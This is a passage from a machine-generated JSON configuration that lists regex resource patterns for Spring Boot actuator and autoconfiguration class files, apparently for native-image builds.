\"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/system/DiskSpaceHealthIndicatorProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/ManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/ManagementContextFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/exchanges/HttpExchangesAutoConfiguration$ReactiveHttpExchangesConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/exchanges/HttpExchangesAutoConfiguration$ServletHttpExchangesConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/exchanges/HttpExchangesAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/exchanges/HttpExchangesEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/jersey/JerseyChildManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/jersey/JerseySameManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/mappings/MappingsEndpointAutoConfiguration$ReactiveWebConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/mappings/MappingsEndpointAutoConfiguration$ServletWebConfiguration$SpringMvcConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/mappings/MappingsEndpointAutoConfiguration$ServletWebConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/mappings/MappingsEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/reactive/ReactiveManagementChildContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ConditionalOnManagementPort.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/EnableManagementContext.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementContextAutoConfiguration$DifferentManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementContextAutoConfiguration$SameManagementContextConfiguration$EnableSameManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementContextAutoConfiguration$SameManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementContextAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementContextConfigurationImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/server/ManagementServerProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/servlet/ManagementServletContext.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/servlet/ServletManagementChildContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/servlet/ServletManagementContextAutoConfiguration$ApplicationContextFilterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/servlet/ServletManagementContextAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/web/servlet/WebMvcEndpointChildContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/beans/BeansEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/cache/CachesEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/cache/CachesEndpointWebExtension.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/context/properties/ConfigurationPropertiesReportEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/context/properties/ConfigurationPropertiesReportEndpointWebExtension.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/annotation/EndpointDiscoverer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/invoke/ParameterValueMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/invoke/convert/ConversionServiceParameterValueMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/invoker/cache/CachingOperationInvokerAdvisor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/jackson/EndpointObjectMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/jmx/JmxEndpointExporter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/jmx/annotation/JmxEndpointDiscoverer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/EndpointMediaTypes.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/PathMappedEndpoints.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/PathMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/ServletEndpointRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/annotation/ControllerEndpointDiscoverer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/annotation/ServletEndpointDiscoverer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/annotation/WebEndpointDiscoverer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/servlet/AbstractWebMvcEndpointHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/servlet/AdditionalHealthEndpointPathsWebMvcHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/servlet/ControllerEndpointHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/endpoint/web/servlet/WebMvcEndpointHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/env/EnvironmentEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/env/EnvironmentEndpointWebExtension.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/AbstractHealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/ContributorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/DefaultContributorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/DefaultHealthContributorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthContributor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthContributorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthEndpointGroups.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthEndpointSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthEndpointWebExtension.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/HttpCodeStatusMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/NamedContributors.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/PingHealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/SimpleHttpCodeStatusMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/SimpleStatusAggregator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/health/StatusAggregator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/info/InfoEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/jdbc/DataSourceHealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/logging/LoggersEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/management/HeapDumpWebEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/management/ThreadDumpEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/MetricsEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/export/prometheus/PrometheusSimpleclientScrapeEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/startup/StartupTimeMetricsListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/system/DiskSpaceMetricsBinder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/web/client/ObservationRestClientCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/web/client/ObservationRestTemplateCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/metrics/web/tomcat/TomcatMetricsBinder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/sbom/SbomEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/sbom/SbomEndpointWebExtension.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/sbom/SbomProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/scheduling/ScheduledTasksEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/system/DiskSpaceHealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/web/mappings/MappingsEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/web/mappings/servlet/DispatcherServletsMappingDescriptionProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/web/mappings/servlet/FiltersMappingDescriptionProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/web/mappings/servlet/ServletsMappingDescriptionProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/admin/SpringApplicationAdminMXBeanRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AbstractDependsOnBeanFactoryPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigurationImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigurationPackage.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigurationPackages$BasePackages.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigurationPackages$Registrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigureAfter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigureBefore.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/AutoConfigureOrder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/EnableAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/admin/SpringApplicationAdminJmxAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/aop/AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/aop/AopAutoConfiguration$AspectJAutoProxyingConfiguration$JdkDynamicAutoProxyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/aop/AopAutoConfiguration$AspectJAutoProxyingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/aop/AopAutoConfiguration$ClassProxyingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/aop/AopAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/availability/ApplicationAvailabilityAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/CacheAutoConfiguration$CacheConfigurationImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/CacheAutoConfiguration$CacheManagerEntityManagerFactoryDependsOnPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/CacheAutoConfiguration$CacheManagerValidator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/CacheAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/GenericCacheConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/NoOpCacheConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/cache/SimpleCacheConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnClass.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnMissingBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnMissingClass.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnNotWarDeployment.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnProperty.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnSingleCandidate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/condition/ConditionalOnWebApplication.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/context/ConfigurationPropertiesAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/context/LifecycleAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/context/LifecycleProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/context/MessageSourceAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/context/PropertyPlaceholderAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/dao/PersistenceExceptionTranslationAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/gson/GsonAutoConfiguration$StandardGsonBuilderCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/gson/GsonAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/gson/GsonProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$GsonHttpMessageConverterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$JacksonAndJsonbUnavailableCondition$JacksonAvailable.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$JacksonAndJsonbUnavailableCondition$JsonbPreferred.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$JacksonAndJsonbUnavailableCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$PreferGsonOrJacksonAndJsonbUnavailableCondition$GsonPreferred.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$PreferGsonOrJacksonAndJsonbUnavailableCondition$JacksonJsonbUnavailable.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration$PreferGsonOrJacksonAndJsonbUnavailableCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/GsonHttpMessageConvertersConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConverters.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConvertersAutoConfiguration$HttpMessageConvertersAutoConfigurationRuntimeHints.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConvertersAutoConfiguration$NotReactiveWebApplicationCondition$ReactiveWebApplication.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConvertersAutoConfiguration$NotReactiveWebApplicationCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/HttpMessageConvertersAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/JacksonHttpMessageConvertersConfiguration$MappingJackson2XmlHttpMessageConverterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/JacksonHttpMessageConvertersConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/http/JsonbHttpMessageConvertersConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/info/ProjectInfoAutoConfiguration$GitResourceAvailableCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/info/ProjectInfoAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/info/ProjectInfoProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/Jackson2ObjectMapperBuilderCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration$StandardJackson2ObjectMapperBuilderCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$JacksonAutoConfigurationRuntimeHints.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$JacksonMixinConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$JacksonObjectMapperConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration$ParameterNamesModuleConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jackson/JacksonProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$EmbeddedDatabaseCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$EmbeddedDatabaseConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$PooledDataSourceAvailableCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$PooledDataSourceCondition$ExplicitType.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$PooledDataSourceCondition$PooledDataSourceAvailable.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$PooledDataSourceCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$PooledDataSourceConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceCheckpointRestoreConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceConfiguration$Dbcp2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceConfiguration$Generic.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceConfiguration$Hikari.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceConfiguration$OracleUcp.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceConfiguration$Tomcat.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceJmxConfiguration$Hikari.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceJmxConfiguration$TomcatDataSourceJmxConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceJmxConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/DataSourceTransactionManagerAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/HikariJdbcConnectionDetailsBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JdbcClientAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JdbcConnectionDetailsBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JdbcProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JdbcTemplateAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JdbcTemplateConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/JndiDataSourceAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/NamedParameterJdbcTemplateConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/PropertiesJdbcConnectionDetails.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/metadata/DataSourcePoolMetadataProvidersConfiguration$CommonsDbcp2PoolDataSourceMetadataProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/metadata/DataSourcePoolMetadataProvidersConfiguration$HikariPoolDataSourceMetadataProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/metadata/DataSourcePoolMetadataProvidersConfiguration$OracleUcpPoolDataSourceMetadataProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/metadata/DataSourcePoolMetadataProvidersConfiguration$TomcatDataSourcePoolMetadataProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jdbc/metadata/DataSourcePoolMetadataProvidersConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jmx/JmxAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jmx/JmxProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/jmx/ParentAwareNamingStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/netty/NettyAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/netty/NettyProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/orm/jpa/EntityManagerFactoryDependsOnPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/ConditionalOnDefaultWebSecurity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/DefaultWebSecurityCondition$Beans.class\\\\E\"\n  }, {\n    